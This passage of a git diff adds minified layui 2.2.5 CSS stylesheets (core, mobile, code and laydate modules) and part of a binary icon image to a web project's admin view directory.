#5FB878}.layui-tab-brief[overflow]>.layui-tab-title .layui-this:after{top:-1px}.layui-tab-card{border-width:1px;border-style:solid;border-radius:2px;box-shadow:0 2px 5px 0 rgba(0,0,0,.1)}.layui-tab-card>.layui-tab-title{background-color:#f2f2f2}.layui-tab-card>.layui-tab-title li{margin-right:-1px;margin-left:-1px}.layui-tab-card>.layui-tab-title .layui-this{background-color:#fff}.layui-tab-card>.layui-tab-title .layui-this:after{border-top:none;border-width:1px;border-bottom-color:#fff}.layui-tab-card>.layui-tab-title .layui-tab-bar{height:40px;line-height:40px;border-radius:0;border-top:none;border-right:none}.layui-tab-card>.layui-tab-more .layui-this{background:0 0;color:#5FB878}.layui-tab-card>.layui-tab-more .layui-this:after{border:none}.layui-timeline{padding-left:5px}.layui-timeline-item{position:relative;padding-bottom:20px}.layui-timeline-axis{position:absolute;left:-5px;top:0;z-index:10;width:20px;height:20px;line-height:20px;background-color:#fff;color:#5FB878;border-radius:50%;text-align:center;cursor:pointer}.layui-timeline-axis:hover{color:#FF5722}.layui-timeline-item:before{content:'';position:absolute;left:5px;top:0;z-index:0;width:1px;height:100%}.layui-timeline-item:last-child:before{display:none}.layui-timeline-item:first-child:before{display:block}.layui-timeline-content{padding-left:25px}.layui-timeline-title{position:relative;margin-bottom:10px}.layui-badge,.layui-badge-dot,.layui-badge-rim{position:relative;display:inline-block;padding:0 6px;font-size:12px;text-align:center;background-color:#FF5722;color:#fff;border-radius:2px}.layui-badge{height:18px;line-height:18px}.layui-badge-dot{width:8px;height:8px;padding:0;border-radius:50%}.layui-badge-rim{height:18px;line-height:18px;border-width:1px;border-style:solid;background-color:#fff;color:#666}.layui-btn .layui-badge,.layui-btn .layui-badge-dot{margin-left:5px}.layui-nav .layui-badge,.layui-nav .layui-badge-dot{position:absolute;top:50%;margin:-8px 6px 0}.layui-tab-title .layui-badge,.layui-tab-title .layui-badge-dot{left:5px;top:-2px}.layui-carousel{position:relative;left:0;top:0;background-color:#f8f8f8}.layui-carousel>[carousel-item]{position:relative;width:100%;height:100%;overflow:hidden}.layui-carousel>[carousel-item]:before{position:absolute;content:'\e63d';left:50%;top:50%;width:100px;line-height:20px;margin:-10px 0 0 -50px;text-align:center;color:#c2c2c2;font-family:layui-icon!important;font-size:30px;font-style:normal;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.layui-carousel>[carousel-item]>*{display:none;position:absolute;left:0;top:0;width:100%;height:100%;background-color:#f8f8f8;transition-duration:.3s;-webkit-transition-duration:.3s}.layui-carousel-updown>*{-webkit-transition:.3s ease-in-out up;transition:.3s ease-in-out up}.layui-carousel-arrow{display:none\9;opacity:0;position:absolute;left:10px;top:50%;margin-top:-18px;width:36px;height:36px;line-height:36px;text-align:center;font-size:20px;border:0;border-radius:50%;background-color:rgba(0,0,0,.2);color:#fff;-webkit-transition-duration:.3s;transition-duration:.3s;cursor:pointer}.layui-carousel-arrow[lay-type=add]{left:auto!important;right:10px}.layui-carousel:hover .layui-carousel-arrow[lay-type=add],.layui-carousel[lay-arrow=always] .layui-carousel-arrow[lay-type=add]{right:20px}.layui-carousel[lay-arrow=always] .layui-carousel-arrow{opacity:1;left:20px}.layui-carousel[lay-arrow=none] .layui-carousel-arrow{display:none}.layui-carousel-arrow:hover,.layui-carousel-ind ul:hover{background-color:rgba(0,0,0,.35)}.layui-carousel:hover .layui-carousel-arrow{display:block\9;opacity:1;left:20px}.layui-carousel-ind{position:relative;top:-35px;width:100%;line-height:0!important;text-align:center;font-size:0}.layui-carousel[lay-indicator=outside]{margin-bottom:30px}.layui-carousel[lay-indicator=outside] .layui-carousel-ind{top:10px}.layui-carousel[lay-indicator=outside] .layui-carousel-ind ul{background-color:rgba(0,0,0,.5)}.layui-carousel[lay-indicator=none] .layui-carousel-ind{display:none}.layui-carousel-ind ul{display:inline-block;padding:5px;background-color:rgba(0,0,0,.2);border-radius:10px;-webkit-transition-duration:.3s;transition-duration:.3s}.layui-carousel-ind li{display:inline-block;width:10px;height:10px;margin:0 3px;font-size:14px;background-color:#e2e2e2;background-color:rgba(255,255,255,.5);border-radius:50%;cursor:pointer;-webkit-transition-duration:.3s;transition-duration:.3s}.layui-carousel-ind li:hover{background-color:rgba(255,255,255,.7)}.layui-carousel-ind li.layui-this{background-color:#fff}.layui-carousel>[carousel-item]>.layui-carousel-next,.layui-carousel>[carousel-item]>.layui-carousel-prev,.layui-carousel>[carousel-item]>.layui-this{display:block}.layui-carousel>[carousel-item]>.layui-this{left:0}.layui-carousel>[carousel-item]>.layui-carousel-prev{left:-100%}.layui-carousel>[carousel-item]>.layui-carousel-next{left:100%}.layui-carousel>[carousel-item]>.layui-carousel-next.layui-carousel-left,.layui-carousel>[carousel-item]>.layui-carousel-prev.layui-carousel-right{left:0}.layui-carousel>[carousel-item]>.layui-this.layui-carousel-left{left:-100%}.layui-carousel>[carousel-item]>.layui-this.layui-carousel-right{left:100%}.layui-carousel[lay-anim=updown] .layui-carousel-arrow{left:50%!important;top:20px;margin:0 0 0 -18px}.layui-carousel[lay-anim=updown]>[carousel-item]>*,.layui-carousel[lay-anim=fade]>[carousel-item]>*{left:0!important}.layui-carousel[lay-anim=updown] .layui-carousel-arrow[lay-type=add]{top:auto!important;bottom:20px}.layui-carousel[lay-anim=updown] .layui-carousel-ind{position:absolute;top:50%;right:20px;width:auto;height:auto}.layui-carousel[lay-anim=updown] .layui-carousel-ind ul{padding:3px 5px}.layui-carousel[lay-anim=updown] .layui-carousel-ind li{display:block;margin:6px 0}.layui-carousel[lay-anim=updown]>[carousel-item]>.layui-this{top:0}.layui-carousel[lay-anim=updown]>[carousel-item]>.layui-carousel-prev{top:-100%}.layui-carousel[lay-anim=updown]>[carousel-item]>.layui-carousel-next{top:100%}.layui-carousel[lay-anim=updown]>[carousel-item]>.layui-carousel-next.layui-carousel-left,.layui-carousel[lay-anim=updown]>[carousel-item]>.layui-carousel-prev.layui-carousel-right{top:0}.layui-carousel[lay-anim=updown]>[carousel-item]>.layui-this.layui-carousel-left{top:-100%}.layui-carousel[lay-anim=updown]>[carousel-item]>.layui-this.layui-carousel-right{top:100%}.layui-carousel[lay-anim=fade]>[carousel-item]>.layui-carousel-next,.layui-carousel[lay-anim=fade]>[carousel-item]>.layui-carousel-prev{opacity:0}.layui-carousel[lay-anim=fade]>[carousel-item]>.layui-carousel-next.layui-carousel-left,.layui-carousel[lay-anim=fade]>[carousel-item]>.layui-carousel-prev.layui-carousel-right{opacity:1}.layui-carousel[lay-anim=fade]>[carousel-item]>.layui-this.layui-carousel-left,.layui-carousel[lay-anim=fade]>[carousel-item]>.layui-this.layui-carousel-right{opacity:0}.layui-fixbar{position:fixed;right:15px;bottom:15px;z-index:9999}.layui-fixbar li{width:50px;height:50px;line-height:50px;margin-bottom:1px;text-align:center;cursor:pointer;font-size:30px;background-color:#9F9F9F;color:#fff;border-radius:2px;opacity:.95}.layui-fixbar li:hover{opacity:.85}.layui-fixbar li:active{opacity:1}.layui-fixbar .layui-fixbar-top{display:none;font-size:40px}body .layui-util-face{border:none;background:0 0}body .layui-util-face .layui-layer-content{padding:0;background-color:#fff;color:#666;box-shadow:none}.layui-util-face .layui-layer-TipsG{display:none}.layui-util-face ul{position:relative;width:372px;padding:10px;border:1px solid #D9D9D9;background-color:#fff;box-shadow:0 0 20px rgba(0,0,0,.2)}.layui-util-face ul li{cursor:pointer;float:left;border:1px solid #e8e8e8;height:22px;width:26px;overflow:hidden;margin:-1px 0 0 -1px;padding:4px 2px;text-align:center}.layui-util-face ul li:hover{position:relative;z-index:2;border:1px solid #eb7350;background:#fff9ec}.layui-anim{-webkit-animation-duration:.3s;animation-duration:.3s;-webkit-animation-fill-mode:both;animation-fill-mode:both}.layui-anim.layui-icon{display:inline-block}.layui-anim-loop{-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite}@-webkit-keyframes layui-rotate{from{-webkit-transform:rotate(0)}to{-webkit-transform:rotate(360deg)}}@keyframes layui-rotate{from{transform:rotate(0)}to{transform:rotate(360deg)}}.layui-anim-rotate{-webkit-animation-name:layui-rotate;animation-name:layui-rotate;-webkit-animation-duration:1s;animation-duration:1s;-webkit-animation-timing-function:linear;animation-timing-function:linear}@-webkit-keyframes layui-up{from{-webkit-transform:translate3d(0,100%,0);opacity:.3}to{-webkit-transform:translate3d(0,0,0);opacity:1}}@keyframes layui-up{from{transform:translate3d(0,100%,0);opacity:.3}to{transform:translate3d(0,0,0);opacity:1}}.layui-anim-up{-webkit-animation-name:layui-up;animation-name:layui-up}@-webkit-keyframes layui-upbit{from{-webkit-transform:translate3d(0,30px,0);opacity:.3}to{-webkit-transform:translate3d(0,0,0);opacity:1}}@keyframes layui-upbit{from{transform:translate3d(0,30px,0);opacity:.3}to{transform:translate3d(0,0,0);opacity:1}}.layui-anim-upbit{-webkit-animation-name:layui-upbit;animation-name:layui-upbit}@-webkit-keyframes layui-scale{0%{opacity:.3;-webkit-transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1)}}@keyframes layui-scale{0%{opacity:.3;-ms-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-ms-transform:scale(1);transform:scale(1)}}.layui-anim-scale{-webkit-animation-name:layui-scale;animation-name:layui-scale}@-webkit-keyframes layui-scale-spring{0%{opacity:.5;-webkit-transform:scale(.5)}80%{opacity:.8;-webkit-transform:scale(1.1)}100%{opacity:1;-webkit-transform:scale(1)}}@keyframes layui-scale-spring{0%{opacity:.5;transform:scale(.5)}80%{opacity:.8;transform:scale(1.1)}100%{opacity:1;transform:scale(1)}}.layui-anim-scaleSpring{-webkit-animation-name:layui-scale-spring;animation-name:layui-scale-spring}@-webkit-keyframes layui-fadein{0%{opacity:0}100%{opacity:1}}@keyframes layui-fadein{0%{opacity:0}100%{opacity:1}}.layui-anim-fadein{-webkit-animation-name:layui-fadein;animation-name:layui-fadein}@-webkit-keyframes layui-fadeout{0%{opacity:1}100%{opacity:0}}@keyframes layui-fadeout{0%{opacity:1}100%{opacity:0}}.layui-anim-fadeout{-webkit-animation-name:layui-fadeout;animation-name:layui-fadeout} \ No newline at end of file diff --git a/application/view/Admin/layui/css/layui.mobile.css b/application/view/Admin/layui/css/layui.mobile.css new file mode 100644 index 0000000..8bfc0db --- /dev/null +++ b/application/view/Admin/layui/css/layui.mobile.css @@ -0,0 +1,2 @@ +/** layui-v2.2.5 MIT License By https://www.layui.com */ + blockquote,body,button,dd,div,dl,dt,form,h1,h2,h3,h4,h5,h6,input,legend,li,ol,p,td,textarea,th,ul{margin:0;padding:0;-webkit-tap-highlight-color:rgba(0,0,0,0)}html{font:12px 'Helvetica Neue','PingFang SC',STHeitiSC-Light,Helvetica,Arial,sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}a,button,input{-webkit-tap-highlight-color:rgba(255,0,0,0)}a{text-decoration:none;background:0 0}a:active,a:hover{outline:0}table{border-collapse:collapse;border-spacing:0}li{list-style:none}b,strong{font-weight:700}h1,h2,h3,h4,h5,h6{font-weight:500}address,cite,dfn,em,var{font-style:normal}dfn{font-style:italic}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}img{border:0;vertical-align:bottom}.layui-inline,input,label{vertical-align:middle}button,input,optgroup,select,textarea{color:inherit;font:inherit;margin:0;outline:0}button,select{text-transform:none}select{-webkit-appearance:none;border:none}input{line-height:normal}input[type=checkbox],input[type=radio]{box-sizing:border-box;padding:0}input[type=number]::-webkit-inner-spin-button,input[type=number]::-webkit-outer-spin-button{height:auto}input[type=search]{-webkit-appearance:textfield;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;box-sizing:content-box}input[type=search]::-webkit-search-cancel-button,input[type=search]::-webkit-search-decoration{-webkit-appearance:none}@font-face{font-family:layui-icon;src:url(../font/iconfont.eot?v=1.0.7);src:url(../font/iconfont.eot?v=1.0.7#iefix) format('embedded-opentype'),url(../font/iconfont.woff?v=1.0.7) format('woff'),url(../font/iconfont.ttf?v=1.0.7) format('truetype'),url(../font/iconfont.svg?v=1.0.7#iconfont) format('svg')}.layui-icon{font-family:layui-icon!important;font-size:16px;font-style:normal;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.layui-box,.layui-box *{-webkit-box-sizing:content-box!important;-moz-box-sizing:content-box!important;box-sizing:content-box!important}.layui-border-box,.layui-border-box *{-webkit-box-sizing:border-box!important;-moz-box-sizing:border-box!important;box-sizing:border-box!important}.layui-inline{position:relative;display:inline-block;*display:inline;*zoom:1}.layui-edge,.layui-upload-iframe{position:absolute;width:0;height:0}.layui-edge{border-style:dashed;border-color:transparent;overflow:hidden}.layui-elip{text-overflow:ellipsis;overflow:hidden;white-space:nowrap}.layui-unselect{-moz-user-select:none;-webkit-user-select:none;-ms-user-select:none}.layui-disabled,.layui-disabled:active{background-color:#d2d2d2!important;color:#fff!important;cursor:not-allowed!important}.layui-circle{border-radius:100%}.layui-show{display:block!important}.layui-hide{display:none!important}.layui-upload-iframe{border:0;visibility:hidden}.layui-upload-enter{border:1px solid #009E94;background-color:#009E94;color:#fff;-webkit-transform:scale(1.1);transform:scale(1.1)}@-webkit-keyframes layui-m-anim-scale{0%{opacity:0;-webkit-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes layui-m-anim-scale{0%{opacity:0;-webkit-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}.layui-m-anim-scale{animation-name:layui-m-anim-scale;-webkit-animation-name:layui-m-anim-scale}@-webkit-keyframes layui-m-anim-up{0%{opacity:0;-webkit-transform:translateY(800px);transform:translateY(800px)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes layui-m-anim-up{0%{opacity:0;-webkit-transform:translateY(800px);transform:translateY(800px)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}.layui-m-anim-up{-webkit-animation-name:layui-m-anim-up;animation-name:layui-m-anim-up}@-webkit-keyframes layui-m-anim-left{0%{-webkit-transform:translateX(100%);transform:translateX(100%)}100%{-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes layui-m-anim-left{0%{-webkit-transform:translateX(100%);transform:translateX(100%)}100%{-webkit-transform:translateX(0);transform:translateX(0)}}.layui-m-anim-left{-webkit-animation-name:layui-m-anim-left;animation-name:layui-m-anim-left}@-webkit-keyframes layui-m-anim-right{0%{-webkit-transform:translateX(-100%);transform:translateX(-100%)}100%{-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes layui-m-anim-right{0%{-webkit-transform:translateX(-100%);transform:translateX(-100%)}100%{-webkit-transform:translateX(0);transform:translateX(0)}}.layui-m-anim-right{-webkit-animation-name:layui-m-anim-right;animation-name:layui-m-anim-right}@-webkit-keyframes layui-m-anim-lout{0%{-webkit-transform:translateX(0);transform:translateX(0)}100%{-webkit-transform:translateX(-100%);transform:translateX(-100%)}}@keyframes layui-m-anim-lout{0%{-webkit-transform:translateX(0);transform:translateX(0)}100%{-webkit-transform:translateX(-100%);transform:translateX(-100%)}}.layui-m-anim-lout{-webkit-animation-name:layui-m-anim-lout;animation-name:layui-m-anim-lout}@-webkit-keyframes layui-m-anim-rout{0%{-webkit-transform:translateX(0);transform:translateX(0)}100%{-webkit-transform:translateX(100%);transform:translateX(100%)}}@keyframes layui-m-anim-rout{0%{-webkit-transform:translateX(0);transform:translateX(0)}100%{-webkit-transform:translateX(100%);transform:translateX(100%)}}.layui-m-anim-rout{-webkit-animation-name:layui-m-anim-rout;animation-name:layui-m-anim-rout}.layui-m-layer{position:relative;z-index:19891014}.layui-m-layer *{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box}.layui-m-layermain,.layui-m-layershade{position:fixed;left:0;top:0;width:100%;height:100%}.layui-m-layershade{background-color:rgba(0,0,0,.7);pointer-events:auto}.layui-m-layermain{display:table;font-family:Helvetica,arial,sans-serif;pointer-events:none}.layui-m-layermain .layui-m-layersection{display:table-cell;vertical-align:middle;text-align:center}.layui-m-layerchild{position:relative;display:inline-block;text-align:left;background-color:#fff;font-size:14px;border-radius:5px;box-shadow:0 0 8px rgba(0,0,0,.1);pointer-events:auto;-webkit-overflow-scrolling:touch;-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-duration:.2s;animation-duration:.2s}.layui-m-layer0 .layui-m-layerchild{width:90%;max-width:640px}.layui-m-layer1 .layui-m-layerchild{border:none;border-radius:0}.layui-m-layer2 .layui-m-layerchild{width:auto;max-width:260px;min-width:40px;border:none;background:0 0;box-shadow:none;color:#fff}.layui-m-layerchild h3{padding:0 10px;height:60px;line-height:60px;font-size:16px;font-weight:400;border-radius:5px 5px 0 0;text-align:center}.layui-m-layerbtn span,.layui-m-layerchild h3{text-overflow:ellipsis;overflow:hidden;white-space:nowrap}.layui-m-layercont{padding:50px 30px;line-height:22px;text-align:center}.layui-m-layer1 .layui-m-layercont{padding:0;text-align:left}.layui-m-layer2 .layui-m-layercont{text-align:center;padding:0;line-height:0}.layui-m-layer2 .layui-m-layercont i{width:25px;height:25px;margin-left:8px;display:inline-block;background-color:#fff;border-radius:100%;-webkit-animation:layui-m-anim-loading 1.4s infinite ease-in-out;animation:layui-m-anim-loading 1.4s infinite ease-in-out;-webkit-animation-fill-mode:both;animation-fill-mode:both}.layui-m-layerbtn,.layui-m-layerbtn span{position:relative;text-align:center;border-radius:0 0 5px 5px}.layui-m-layer2 .layui-m-layercont p{margin-top:20px}@-webkit-keyframes layui-m-anim-loading{0%,100%,80%{transform:scale(0);-webkit-transform:scale(0)}40%{transform:scale(1);-webkit-transform:scale(1)}}@keyframes layui-m-anim-loading{0%,100%,80%{transform:scale(0);-webkit-transform:scale(0)}40%{transform:scale(1);-webkit-transform:scale(1)}}.layui-m-layer2 .layui-m-layercont i:first-child{margin-left:0;-webkit-animation-delay:-.32s;animation-delay:-.32s}.layui-m-layer2 .layui-m-layercont i.layui-m-layerload{-webkit-animation-delay:-.16s;animation-delay:-.16s}.layui-m-layer2 .layui-m-layercont>div{line-height:22px;padding-top:7px;margin-bottom:20px;font-size:14px}.layui-m-layerbtn{display:box;display:-moz-box;display:-webkit-box;width:100%;height:50px;line-height:50px;font-size:0;border-top:1px solid #D0D0D0;background-color:#F2F2F2}.layui-m-layerbtn span{display:block;-moz-box-flex:1;box-flex:1;-webkit-box-flex:1;font-size:14px;cursor:pointer}.layui-m-layerbtn span[yes]{color:#40AFFE}.layui-m-layerbtn span[no]{border-right:1px solid #D0D0D0;border-radius:0 0 0 5px}.layui-m-layerbtn span:active{background-color:#F6F6F6}.layui-m-layerend{position:absolute;right:7px;top:10px;width:30px;height:30px;border:0;font-weight:400;background:0 0;cursor:pointer;-webkit-appearance:none;font-size:30px}.layui-m-layerend::after,.layui-m-layerend::before{position:absolute;left:5px;top:15px;content:'';width:18px;height:1px;background-color:#999;transform:rotate(45deg);-webkit-transform:rotate(45deg);border-radius:3px}.layui-m-layerend::after{transform:rotate(-45deg);-webkit-transform:rotate(-45deg)}body .layui-m-layer .layui-m-layer-footer{position:fixed;width:95%;max-width:100%;margin:0 auto;left:0;right:0;bottom:10px;background:0 0}.layui-m-layer-footer .layui-m-layercont{padding:20px;border-radius:5px 5px 0 0;background-color:rgba(255,255,255,.8)}.layui-m-layer-footer .layui-m-layerbtn{display:block;height:auto;background:0 0;border-top:none}.layui-m-layer-footer .layui-m-layerbtn span{background-color:rgba(255,255,255,.8)}.layui-m-layer-footer .layui-m-layerbtn span[no]{color:#FD482C;border-top:1px solid #c2c2c2;border-radius:0 0 5px 5px}.layui-m-layer-footer .layui-m-layerbtn span[yes]{margin-top:10px;border-radius:5px}body .layui-m-layer .layui-m-layer-msg{width:auto;max-width:90%;margin:0 auto;bottom:-150px;background-color:rgba(0,0,0,.7);color:#fff}.layui-m-layer-msg .layui-m-layercont{padding:10px 20px} \ No newline at end of file diff --git a/application/view/Admin/layui/css/modules/code.css b/application/view/Admin/layui/css/modules/code.css new file mode 100644 index 0000000..08ba72e --- /dev/null +++ b/application/view/Admin/layui/css/modules/code.css @@ -0,0 +1,2 @@ +/** layui-v2.2.5 MIT License By https://www.layui.com */ + html #layuicss-skincodecss{display:none;position:absolute;width:1989px}.layui-code-h3,.layui-code-view{position:relative;font-size:12px}.layui-code-view{display:block;margin:10px 0;padding:0;border:1px solid #e2e2e2;border-left-width:6px;background-color:#F2F2F2;color:#333;font-family:Courier New}.layui-code-h3{padding:0 10px;height:32px;line-height:32px;border-bottom:1px solid #e2e2e2}.layui-code-h3 a{position:absolute;right:10px;top:0;color:#999}.layui-code-view .layui-code-ol{position:relative;overflow:auto}.layui-code-view .layui-code-ol li{position:relative;margin-left:45px;line-height:20px;padding:0 5px;border-left:1px solid #e2e2e2;list-style-type:decimal-leading-zero;*list-style-type:decimal;background-color:#fff}.layui-code-view pre{margin:0}.layui-code-notepad{border:1px solid #0C0C0C;border-left-color:#3F3F3F;background-color:#0C0C0C;color:#C2BE9E}.layui-code-notepad .layui-code-h3{border-bottom:none}.layui-code-notepad .layui-code-ol li{background-color:#3F3F3F;border-left:none} \ No newline at end of file diff --git a/application/view/Admin/layui/css/modules/laydate/default/laydate.css b/application/view/Admin/layui/css/modules/laydate/default/laydate.css new file mode 100644 index 0000000..6e970f3 --- /dev/null +++ b/application/view/Admin/layui/css/modules/laydate/default/laydate.css @@ -0,0 +1,2 @@ +/** layui-v2.2.5 MIT License By https://www.layui.com */ + .laydate-set-ym,.layui-laydate,.layui-laydate *,.layui-laydate-list{box-sizing:border-box}html #layuicss-laydate{display:none;position:absolute;width:1989px}.layui-laydate *{margin:0;padding:0}.layui-laydate{position:absolute;z-index:66666666;margin:5px 0;border-radius:2px;font-size:14px;-webkit-animation-duration:.3s;animation-duration:.3s;-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-name:laydate-upbit;animation-name:laydate-upbit}.layui-laydate-main{width:272px}.layui-laydate-content td,.layui-laydate-header *,.layui-laydate-list li{transition-duration:.3s;-webkit-transition-duration:.3s}@-webkit-keyframes laydate-upbit{from{-webkit-transform:translate3d(0,20px,0);opacity:.3}to{-webkit-transform:translate3d(0,0,0);opacity:1}}@keyframes laydate-upbit{from{transform:translate3d(0,20px,0);opacity:.3}to{transform:translate3d(0,0,0);opacity:1}}.layui-laydate-static{position:relative;z-index:0;display:inline-block;margin:0;-webkit-animation:none;animation:none}.laydate-ym-show .laydate-next-m,.laydate-ym-show .laydate-prev-m{display:none!important}.laydate-ym-show .laydate-next-y,.laydate-ym-show .laydate-prev-y{display:inline-block!important}.laydate-time-show .laydate-set-ym span[lay-type=month],.laydate-time-show .laydate-set-ym span[lay-type=year],.laydate-time-show .layui-laydate-header .layui-icon,.laydate-ym-show .laydate-set-ym span[lay-type=month]{display:none!important}.layui-laydate-header{position:relative;line-height:30px;padding:10px 70px 5px}.laydate-set-ym span,.layui-laydate-header i{padding:0 5px;cursor:pointer}.layui-laydate-header *{display:inline-block;vertical-align:bottom}.layui-laydate-header i{position:absolute;top:10px;color:#999;font-size:18px}.layui-laydate-header i.laydate-prev-y{left:15px}.layui-laydate-header i.laydate-prev-m{left:45px}.layui-laydate-header i.laydate-next-y{right:15px}.layui-laydate-header i.laydate-next-m{right:45px}.laydate-set-ym{width:100%;text-align:center;text-overflow:ellipsis;overflow:hidden;white-space:nowrap}.laydate-time-text{cursor:default!important}.layui-laydate-content{position:relative;padding:10px;-moz-user-select:none;-webkit-user-select:none;-ms-user-select:none}.layui-laydate-content table{border-collapse:collapse;border-spacing:0}.layui-laydate-content td,.layui-laydate-content th{width:36px;height:30px;padding:5px;text-align:center}.layui-laydate-content td{position:relative;cursor:pointer}.laydate-day-mark{position:absolute;left:0;top:0;width:100%;height:100%;line-height:30px;font-size:12px;overflow:hidden}.laydate-day-mark::after{position:absolute;content:'';right:2px;top:2px;width:5px;height:5px;border-radius:50%}.layui-laydate-footer{position:relative;height:46px;line-height:26px;padding:10px 20px}.layui-laydate-footer span{margin-right:15px;display:inline-block;cursor:pointer;font-size:12px}.layui-laydate-footer span:hover{color:#5FB878}.laydate-footer-btns{position:absolute;right:10px;top:10px}.laydate-footer-btns span{height:26px;line-height:26px;margin:0 0 0 -1px;padding:0 10px;border:1px solid #C9C9C9;background-color:#fff;white-space:nowrap;vertical-align:top;border-radius:2px}.layui-laydate-list>li,.layui-laydate-range .layui-laydate-main{display:inline-block;vertical-align:middle}.layui-laydate-list{position:absolute;left:0;top:0;width:100%;height:100%;padding:10px;background-color:#fff}.layui-laydate-list>li{position:relative;width:33.3%;height:36px;line-height:36px;margin:3px 0;text-align:center;cursor:pointer}.laydate-month-list>li{width:25%;margin:17px 0}.laydate-time-list>li{height:100%;margin:0;line-height:normal;cursor:default}.laydate-time-list p{position:relative;top:-4px;line-height:29px}.laydate-time-list ol{height:181px;overflow:hidden}.laydate-time-list>li:hover ol{overflow-y:auto}.laydate-time-list ol li{width:130%;padding-left:33px;line-height:30px;text-align:left;cursor:pointer}.layui-laydate-hint{position:absolute;top:115px;left:50%;width:250px;margin-left:-125px;line-height:20px;padding:15px;text-align:center;font-size:12px}.layui-laydate-range{width:546px}.layui-laydate-range .laydate-main-list-0 .laydate-next-m,.layui-laydate-range .laydate-main-list-0 .laydate-next-y,.layui-laydate-range .laydate-main-list-1 .laydate-prev-m,.layui-laydate-range .laydate-main-list-1 .laydate-prev-y{display:none}.layui-laydate-range .laydate-main-list-1 .layui-laydate-content{border-left:1px solid #e2e2e2}.layui-laydate,.layui-laydate-hint{border:1px solid #d2d2d2;box-shadow:0 2px 4px rgba(0,0,0,.12);background-color:#fff;color:#666}.layui-laydate-header{border-bottom:1px solid #e2e2e2}.layui-laydate-header i:hover,.layui-laydate-header span:hover{color:#5FB878}.layui-laydate-content{border-top:none 0;border-bottom:none 0}.layui-laydate-content th{font-weight:400;color:#333}.layui-laydate-content td{color:#666}.layui-laydate-content td.laydate-selected{background-color:#00F7DE}.laydate-selected:hover{background-color:#00F7DE!important}.layui-laydate-content td:hover,.layui-laydate-list li:hover{background-color:#eaeaea;color:#333}.laydate-time-list li ol{margin:0;padding:0;border:1px solid #e2e2e2;border-left-width:0}.laydate-time-list li:first-child ol{border-left-width:1px}.laydate-time-list>li:hover{background:0 0}.layui-laydate-content .laydate-day-next,.layui-laydate-content .laydate-day-prev{color:#d2d2d2}.laydate-selected.laydate-day-next,.laydate-selected.laydate-day-prev{background-color:#f8f8f8!important}.layui-laydate-footer{border-top:1px solid #e2e2e2}.layui-laydate-hint{color:#FF5722}.laydate-day-mark::after{background-color:#5FB878}.layui-laydate-content td.layui-this .laydate-day-mark::after{display:none}.layui-laydate-footer span[lay-type=date]{color:#5FB878}.layui-laydate .layui-this{background-color:#009688!important;color:#fff!important}.layui-laydate .laydate-disabled,.layui-laydate .laydate-disabled:hover{background:0 0!important;color:#d2d2d2!important;cursor:not-allowed!important;-moz-user-select:none;-webkit-user-select:none;-ms-user-select:none}.laydate-theme-molv{border:none}.laydate-theme-molv.layui-laydate-range{width:548px}.laydate-theme-molv .layui-laydate-main{width:274px}.laydate-theme-molv .layui-laydate-header{border:none;background-color:#009688}.laydate-theme-molv .layui-laydate-header i,.laydate-theme-molv .layui-laydate-header span{color:#f6f6f6}.laydate-theme-molv .layui-laydate-header i:hover,.laydate-theme-molv .layui-laydate-header span:hover{color:#fff}.laydate-theme-molv .layui-laydate-content{border:1px solid #e2e2e2;border-top:none;border-bottom:none}.laydate-theme-molv .laydate-main-list-1 .layui-laydate-content{border-left:none}.laydate-theme-grid .laydate-month-list>li,.laydate-theme-grid .laydate-year-list>li,.laydate-theme-grid .layui-laydate-content td,.laydate-theme-grid .layui-laydate-content thead,.laydate-theme-molv .layui-laydate-footer{border:1px solid #e2e2e2}.laydate-theme-grid .laydate-selected,.laydate-theme-grid .laydate-selected:hover{background-color:#f2f2f2!important;color:#009688!important}.laydate-theme-grid .laydate-selected.laydate-day-next,.laydate-theme-grid .laydate-selected.laydate-day-prev{color:#d2d2d2!important}.laydate-theme-grid .laydate-month-list,.laydate-theme-grid .laydate-year-list{margin:1px 0 0 1px}.laydate-theme-grid .laydate-month-list>li,.laydate-theme-grid .laydate-year-list>li{margin:0 -1px -1px 0}.laydate-theme-grid .laydate-year-list>li{height:43px;line-height:43px}.laydate-theme-grid .laydate-month-list>li{height:71px;line-height:71px} \ No newline at end of file diff --git a/application/view/Admin/layui/css/modules/layer/default/icon-ext.png b/application/view/Admin/layui/css/modules/layer/default/icon-ext.png new file mode 100644 index 0000000000000000000000000000000000000000..bbbb669bb311514baa5db3a6a00b4644d0e280f1 GIT binary patch literal 5911 zcmY+I2Q(bf_s2JgAUe^aMOKL(VwGqSy<0@0i{8cRqDzD%ST(B#i!4FHDp8XlI?-*k z=$*)lUVhK-{LcTJ|C}>3XXea%^WJ^;-tXtWSbbeJ3NjWl2n0f*p{@)EcPu#VNQl8z z1kb_-ZbS$r4I>h8JSVYx1)fR0)Sn&qHr}8y{y+4^AUz zcYBDagvi~yB6shN>mfA37p#|G7`9y&Ggi_)mcoDUevwZ%`QQ+u`Spkp9gx zTYuuo_8p5IL4SGDE=2#lxUGErKvu^NZ*;4Tj}QBeHs#sycwNE47h{3wpZ|9emH((u z9sRflNhSr++WU1KOOW>%Hbg-aK-&p%Q&ht?^+2LRNG+S62f~|#IHbK7^Ddkcx)J1Q z0S7-})`HegD(zyqd3ie^Xb3L+7UdQyoXc9w+U)bw_5iL6R1v||XHI%*wrz$^Hxo(q z4GqONss`jwc1leu&Ie}C_iF{Y#ELuWnzl6x0$Yn+EWq{3{85roZ0UUaYXG0b)L=y?`*9JA#80I 